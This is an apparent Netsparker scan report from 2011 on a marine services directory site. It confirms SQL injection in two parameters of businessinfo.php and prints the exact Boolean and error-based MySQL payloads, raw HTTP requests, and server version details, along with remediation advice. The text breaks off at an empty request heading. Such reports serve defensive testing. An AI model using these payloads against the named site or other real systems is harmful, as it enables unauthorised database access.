Loading

Netsparker, Web Application Security Scanner

XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Netsparker - Scan Report Summary
TARGET URL
http://www.firstmateonline.com/businessinfo.p...
SCAN DATE
4/6/2011 5:50:50 AM
REPORT DATE
4/6/2011 6:44:53 AM
SCAN DURATION
00:11:04

Total Requests

Average Speed

req/sec.
16
identified
6
confirmed
6
critical
3
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
38 %
IMPORTANT
19 %
LOW
25 %
INFORMATION
19 %
Boolean Based SQL Injection

Boolean Based SQL Injection

2 TOTAL
CRITICAL
CONFIRMED
2
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /businessinfo.php

/businessinfo.php CONFIRMED

http://www.firstmateonline.com/businessinfo.php?sponsor=-1+OR+17-7%3d10&location=17044

Parameters

Parameter Type Value
sponsor GET -1 OR 17-7=10
location GET 17044

Request

GET /businessinfo.php?sponsor=-1+OR+17-7%3d10&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:40 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 12303
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><!-- InstanceBegin template="/templates/fmHaloLeftNav002.dwt" codeOutsideHTMLIsLocked="false" --><!-- DW6 --><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <!-- #BeginEditable "doctitle" --> <title> on </title> <meta name="Keywords" content=" on " > <meta name="Description" content="Full Contact Information for on - . Look for similiar companies using the category links. Now including listings for the Caribbean, the Bahamas, Mediterranean and North and Central America." ><!-- #EndEditable --> <link href="cssfiles/fmHaloLeftNav002.css" rel="stylesheet" type="text/css"><!-- Analytics / Adsense Integration Code --> <script type="text/javascript"> window.google_analytics_uacct = "UA-65281-2"; </script></head><body><script type="text/javascript">window.google_analytics_uacct = "UA-65281-2";</script><!-- ************************************************************** --><!-- ************** MASTHEAD ***************** --><!-- ************************************************************** --><div id="masthead"> <div id='sitelogo'><a href="index.htm"><img src="assets/firstmatelogo225Blue90Tall.jpg" alt="First Mate - The Marine Service Directory" name="FIRSTMATElogo" width="399" height="90" border="0"></a></div> <div id="sitedesc"> <p align="center">Online Marine Services Directory for the Megayacht Crew, Regatta Sailors, Cruisers and Fishing Captains</p> </div> <div id='srchform'> <!-- SiteSearch Google --><form action="http://www.firstmateonline.com/searchresults.html" id="cse-search-box"> <div> <input type="hidden" name="cx" value="partner-pub-9585000347357330:nueny0-buro" /> <input type="hidden" name="cof" value="FORID:10" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="text" name="q" size="31" /> <input type="submit" name="sa" value="Search" /> </div></form><script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&amp;lang=en"></script><!-- SiteSearch Google --></div><!-- ************************************************************** --><!-- ************** GLOBALNAV ***************** --><!-- ************************************************************** --> <div id="globalNav"> <img alt="" src="http://www.allatsea.net/assets/gblnav_left.gif" height="32" width="4" id="gnl"> <img alt="" src="http://www.allatsea.net/assets/glbnav_right.gif" height="32" width="4" id="gnr"> <div id="globalLink"> <a href="index.htm" class="glink">home</a> <a href="http://www.forcrew.com/" class="glink">ForCrew.com</a> <a href="http://www.allatsea.net/" class="glink">All At Sea</a> <a href="http://www.crew-life.com" class="glink">Crew Life</a> <a href="http://www.yachtessentials.com/" class="glink">YACHT ESSENTIALS</a> <!--end globalLinks--> </div> <!-- end globalNav --> </div><!-- end masthead --> </div><!-- ************************************************************** --><!-- ************** pagecell1 ***************** --><!-- ************************************************************** --><div id="pagecell1"> <!--pagecell1--> <img alt="" src="http://www.allatsea.net/assets/tl_curve_white.gif" height="6" width="6" id="tl"> <img alt="" src= "http://www.allatsea.net/assets/tr_curve_white.gif" height="6" width="6" id="tr"> <div id="translate"> <!-- InstanceBeginEditable name="translate" --> <!--Translate this page to English <img src="assets/flags/uk-t.gif" alt="Translate to English" width="20" height="10"> - <a href="spanish/index.htm">Spanish <img src="assets/flags/Spain-t.gif" alt="Translate to Spanish" width="15" height="10"></a> --> <!-- <a href="#">French</a> <img src="../assets/flags/France-t.gif" width="15" height="10"> - <a href="#">Dutch</a> <img src="../assets/flags/Netherlands-t.gif" width="15" height="10"> --> <!-- InstanceEndEditable --> </div> <!--end translate--> <div id="breadCrumb"> <!-- InstanceBeginEditable name="edBreadcrumb" --> <a href="index.htm">home</a> / <a href="searchbycategory.php">search</a> / / <!-- InstanceEndEditable --> </div> <!--end breadCrumb--> <div id="pageName"> <!-- InstanceBeginEditable name="edPageName" --> <h2><br> </h2> <!-- InstanceEndEditable --> <!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=7"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=af9653b3&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=7&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=af9653b3' border='0' alt='' /></a></noscript> </div> <!--end pageName--> <!-- ************************************************************** --><!-- ************** rightAdvert ***************** --><!-- ************************************************************** --> <div id="rightAdvert"> <!--/* OpenX Javascript Tag v2.8.1 */--> <!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--> <script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=10"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>"); //]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=ad85359b&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=10&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=ad85359b' border='0' alt='' /></a></noscript> </div><!-- ************************************************************** --><!-- ************** pageNav ***************** --><!-- ************************************************************** --> <div id="pageNav"> <!-- InstanceBeginEditable name="InternalNav" --> <!-- InstanceEndEditable --> <!--<div id="sectionLinks"> <a href="http://www.crew-life.com/">Crew Life Online</a> <a href="http://www.allatsea.net/">All At Sea Online</a> </div> --> <div class="relatedLinks"> <h3>Search Marine Directory </h3> <a href="searchbycategory.php">By Category</a> <a href="searchbyisland.php">By ALL Ports</a> <a href="searchbyregion.php">By Specific Region</a> <a href="selectletter.php">By Alphabetical Order</a></div><div class="relatedLinks"> <h3>Site Utilities</h3> <a href="updates.html">Update Your Listing</a> <a href="mailto:support@firstmateonline.com">List Your Company</a> <a href="advertise.htm">Advertising</a> </div> <div id="advert"> <a href="http://www.forcrew.com/"onClick="javascript:urchinTracker('/outgoing/crewlife');"target="_blank"><img src="assets/ads/160x294-forcrew.gif" alt="ForCrew.com Connecting Captains and Crew" width="160" height="294" border="0"></a> <!--Advertisement copy goes here. Advertisement copy goes here.--> </div> <!-- InstanceBeginEditable name="edPageNav" --> <!-- InstanceEndEditable --> </div> <!--end pageNav--> <!-- ************************************************************** --><!-- ************** content ***************** --><!-- ************************************************************** --> <div id="content"> <div class="feature"> <!-- InstanceBeginEditable name="edFeature" --> <h3>Contact Info:</h3> <p><strong></strong> - <br> <em>Phone:</em> <br> <em>Fax:</em> <br> <em>eMail:</em> <a href="mailto:?subject=www.FirstMateOnline.com Inquiry"> </a><br> <p><em>You can also find listed under: <br> - <a href="regionbycategory.php?category=943"><strong>Acrylic Polishing</strong></a><br> - <a href="regionbycategory.php?category=943"><strong>Acrylic Polishing</strong></a><br> - <a href="regionbycategory.php?category=943"><strong>Acrylic Polishing</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionbycategory.php?category=894"><strong>Advertising and Public Relations</strong></a><br> - <a href="regionb..
- /businessinfo.php

/businessinfo.php CONFIRMED

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=-1+OR+17-7%3d10

Parameters

Parameter Type Value
sponsor GET 8159
location GET -1 OR 17-7=10

Request

GET /businessinfo.php?sponsor=8159&location=-1+OR+17-7%3d10 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:56 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 3918
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><!-- InstanceBegin template="/templates/fmHaloLeftNav002.dwt" codeOutsideHTMLIsLocked="false" --><!-- DW6 --><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <!-- #BeginEditable "doctitle" --> <title>Budget Marine on Grenada Spice Island Marine</title> <meta name="Keywords" content="Budget Marine on Grenada" > <meta name="Description" content="Full Contact Information for Budget Marine on Grenada - Spice Island Marine. Look for similiar companies using the category links. Now including listings for the Caribbean, the Bahamas, Mediterranean and North and Central America." ><!-- #EndEditable --> <link href="cssfiles/fmHaloLeftNav002.css" rel="stylesheet" type="text/css"><!-- Analytics / Adsense Integration Code --> <script type="text/javascript"> window.google_analytics_uacct = "UA-65281-2"; </script></head><body><script type="text/javascript">window.google_analytics_uacct = "UA-65281-2";</script><!-- ************************************************************** --><!-- ************** MASTHEAD ***************** --><!-- ************************************************************** --><div id="masthead"> <div id='sitelogo'><a href="index.htm"><img src="assets/firstmatelogo225Blue90Tall.jpg" alt="First Mate - The Marine Service Directory" name="FIRSTMATElogo" width="399" height="90" border="0"></a></div> <div id="sitedesc"> <p align="center">Online Marine Services Directory for the Megayacht Crew, Regatta Sailors, Cruisers and Fishing Captains</p> </div> <div id='srchform'> <!-- SiteSearch Google --><form action="http://www.firstmateonline.com/searchresults.html" id="cse-search-box"> <div> <input type="hidden" name="cx" value="partner-pub-9585000347357330:nueny0-buro" /> <input type="hidden" name="cof" value="FORID:10" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="text" name="q" size="31" /> <input type="submit" name="sa" value="Search" /> </div></form><script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&amp;lang=en"></script><!-- SiteSearch Google --></div><!-- ************************************************************** --><!-- ************** GLOBALNAV ***************** --><!-- ************************************************************** --> <div id="globalNav"> <img alt="" src="http://www.allatsea.net/assets/gblnav_left.gif" height="32" width="4" id="gnl"> <img alt="" src="http://www.allatsea.net/assets/glbnav_right.gif" height="32" width="4" id="gnr"> <div id="globalLink"> <a href="index.htm" class="glink">home</a> <a href="http://www.forcrew.com/" class="glink">ForCrew.com</a> <a href="http://www.allatsea.net/" class="glink">All At Sea</a> <a href="http://www.crew-life.com" class="glink">Crew Life</a> <a href="http://www.yachtessentials.com/" class="glink">YACHT ESSENTIALS</a> <!--end globalLinks--> </div> <!-- end globalNav --> </div><!-- end masthead --> </div><!-- ************************************************************** --><!-- ************** pagecell1 ***************** --><!-- ************************************************************** --><div id="pagecell1"> <!--pagecell1--> <img alt="" src="http://www.allatsea.net/assets/tl_curve_white.gif" height="6" width="6" id="tl"> <img alt="" src= "http://www.allatsea.net/assets/tr_curve_white.gif" height="6" width="6" id="tr"> <div id="translate"> <!-- InstanceBeginEditable name="translate" --> <!--Translate this page to English <img src="assets/flags/uk-t.gif" alt="Translate to English" width="20" height="10"> - <a href="spanish/index.htm">Spanish <img src="assets/flags/Spain-t.gif" alt="Translate to Spanish" width="15" height="10"></a> --> <!-- <a href="#">French</a> <img src="../assets/flags/France-t.gif" width="15" height="10"> - <a href="#">Dutch</a> <img src="../assets/flags/Netherlands-t.gif" width="15" height="10"> --> <!-- InstanceEndEditable --> </div> <!--end translate--> <div id="breadCrumb"> <!-- InstanceBeginEditable name="edBreadcrumb" --> <a href="index.htm">home</a> / <a href="searchbycategory.php">search</a> / Budget Marine / <!-- InstanceEndEditable --> </div> <!--end breadCrumb--> <div id="pageName"> <!-- InstanceBeginEditable name="edPageName" --> <h2>Budget Marine<br> Grenada</h2> <!-- InstanceEndEditable --> <!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=7"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=af9653b3&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=7&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=af9653b3' border='0' alt='' /></a></noscript> </div> <!--end pageName--> <!-- ************************************************************** --><!-- ************** rightAdvert ***************** --><!-- ************************************************************** --> <div id="rightAdvert"> <!--/* OpenX Javascript Tag v2.8.1 */--> <!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--> <script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=10"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>"); //]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=ad85359b&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=10&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=ad85359b' border='0' alt='' /></a></noscript> </div><!-- ************************************************************** --><!-- ************** pageNav ***************** --><!-- ************************************************************** --> <div id="pageNav"> <!-- InstanceBeginEditable name="InternalNav" --> <!-- InstanceEndEditable --> <!--<div id="sectionLinks"> <a href="http://www.crew-life.com/">Crew Life Online</a> <a href="http://www.allatsea.net/">All At Sea Online</a> </div> --> <div class="relatedLinks"> <h3>Search Marine Directory </h3> <a href="searchbycategory.php">By Category</a> <a href="searchbyisland.php">By ALL Ports</a> <a href="searchbyregion.php">By Specific Region</a> <a href="selectletter.php">By Alphabetical Order</a></div><div class="relatedLinks"> <h3>Site Utilities</h3> <a href="updates.html">Update Your Listing</a> <a href="mailto:support@firstmateonline.com">List Your Company</a> <a href="advertise.htm">Advertising</a> </div> <div id="advert"> <a href="http://www.forcrew.com/"onClick="javascript:urchinTracker('/outgoing/crewlife');"target="_blank"><img src="assets/ads/160x294-forcrew.gif" alt="ForCrew.com Connecting Captains and Crew" width="160" height="294" border="0"></a> <!--Advertisement copy goes here. Advertisement copy goes here.--> </div> <!-- InstanceBeginEditable name="edPageNav" --> <!-- InstanceEndEditable --> </div> <!--end pageNav--> <!-- ************************************************************** --><!-- ************** content ***************** --><!-- ************************************************************** --> <div id="content"> <div class="feature"> <!-- InstanceBeginEditable name="edFeature" --> <h3>Contact Info:</h3> <p><strong>Budget Marine</strong> - Spice Island Marine<br> <em>Phone:</em> 473-439-1983<br> <em>Fax:</em> 473-439-2037<br> <em>eMail:</em> <a href="mailto:grenada@budgetmarine.com?subject=www.FirstMateOnline.com Inquiry">grenada@budgetmarine.com </a><br> <em>Website:</em> <a href="http://www.budgetmarine.com">http://www.budgetmarine.com</a></p> <p><em>You can also find Budget Marine listed under: <br> - <a href="regionbycategory.php?category=21"><strong>Boatyards</strong></a><br> - <a href="regionbycategory.php?category=65"><strong>Marinas</strong></a><br> - <a href="regionbycategory.php?category=829"><strong>Shipwright / Boat Builders</strong></a><br> (Click to find other businesses in category)</em></p> <p>Are you looking for other businesses in <a href="categoriesbyisland.php?island=19"><strong>Grenada</strong></a>?</p> <p>NOTES:<br> - Do you need to update your information? <a href="mailto:support@firstmateonline.com">Email</a> us your Changes! </p> <!-- InstanceEndEditable --> </div> <!--end feature--><!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=9"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=a05fbc3a&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=9&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=a05fbc3a' border='0' alt='' /></a></noscript> </div> <!--end content--> <!-- ************************************************************** --><!-- ************** siteInfo ***************** --><!-- ************************************************************** --> <div id="siteInfo"> <a href="http://www.allatsea.net/index.php"><img src="assets/allatsea_sm_logo.gif" alt="All At Sea - The Caribbean's Waterfront Magazine. Serving the Caribbean Maritime Industry since 1993." width="60" height="44" border="0"></a> <a href="http://www.allatsea.net/aboutus.htm">About Us</a> | <a href="generator/data/sitemap.html">Sitemap</a> | &copy;2006-2007 Kennan Holdings LLC </div></div> <!--end siteInfo--> <!--end pagecell1--> <!-- Google Analytics Script --> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-65281-2"); pageTracker._trackPageview(); } catch(err) {}</script><!-- End Google Analytics --></body><!-- InstanceEnd --></html>
SQL Injection

SQL Injection

2 TOTAL
CRITICAL
CONFIRMED
2
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /businessinfo.php

/businessinfo.php CONFIRMED

http://www.firstmateonline.com/businessinfo.php?sponsor=(select+1+and+row(1%2c1)%3e(select+count(*)%..

Parameters

Parameter Type Value
sponsor GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
location GET 17044

Request

